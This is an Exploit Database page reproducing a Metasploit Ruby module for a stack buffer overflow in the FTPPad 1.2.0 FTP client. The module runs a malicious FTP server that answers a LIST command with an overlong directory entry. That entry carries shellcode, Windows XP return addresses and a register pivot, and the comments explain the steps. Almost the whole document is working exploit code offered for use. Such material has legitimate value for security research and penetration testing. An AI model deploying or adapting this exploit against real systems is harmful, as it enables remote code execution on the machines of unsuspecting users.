FTPPad 1.2.0 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16726/

• ##
  # $Id: ftppad_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Exploit::Remote::FtpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FTPPad 1.2.0 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
  				triggered when the client connects to a FTP server which sends an overly long directory
  				and filename in response to a LIST command.
  
  				This will cause an access violation, and will eventually overwrite the saved extended
  				instruction pointer.Payload can be found at EDX+5c and ESI+5c, so a little pivot/
  				sniper was needed to make this one work.
  			},
  			'Author' 	 =>
  				[
  					'corelanc0d3r'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 3000,
  					'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
  					'DisableNops' => true,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					#shlwapi sniper + pivot :MOV DWORD PTR DS:[EDX],EAX + CALL ESI
  					[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
  					[ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
  					[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  		print_status(" - Data connection set up")
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  		totalsize = 13000
  		foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
  		#EDX+5c and ESI+5c point at shellcode
  		#we control EAX and EIP
  		#use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
  		#and then jump to ESI (which will then execute the jump forward, to payload)
  		foldername << [target.ret].pack('V')# MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
  		foldername << "\x41\x41\x75\x5B"# EAX -> 75 5B = JNZ SHORT -> shellcode
  		foldername << " " * (totalsize - foldername.length)
  		print_status(" - Sending directory list via data connection")
  		dirlist = "drwxrwxrwx1 1000 11111 Jun 11 21:10 #{foldername}\r\n"
  		conn.put(dirlist + dirlist + dirlist + dirlist)
  		conn.close
  		return
  	end
  
  end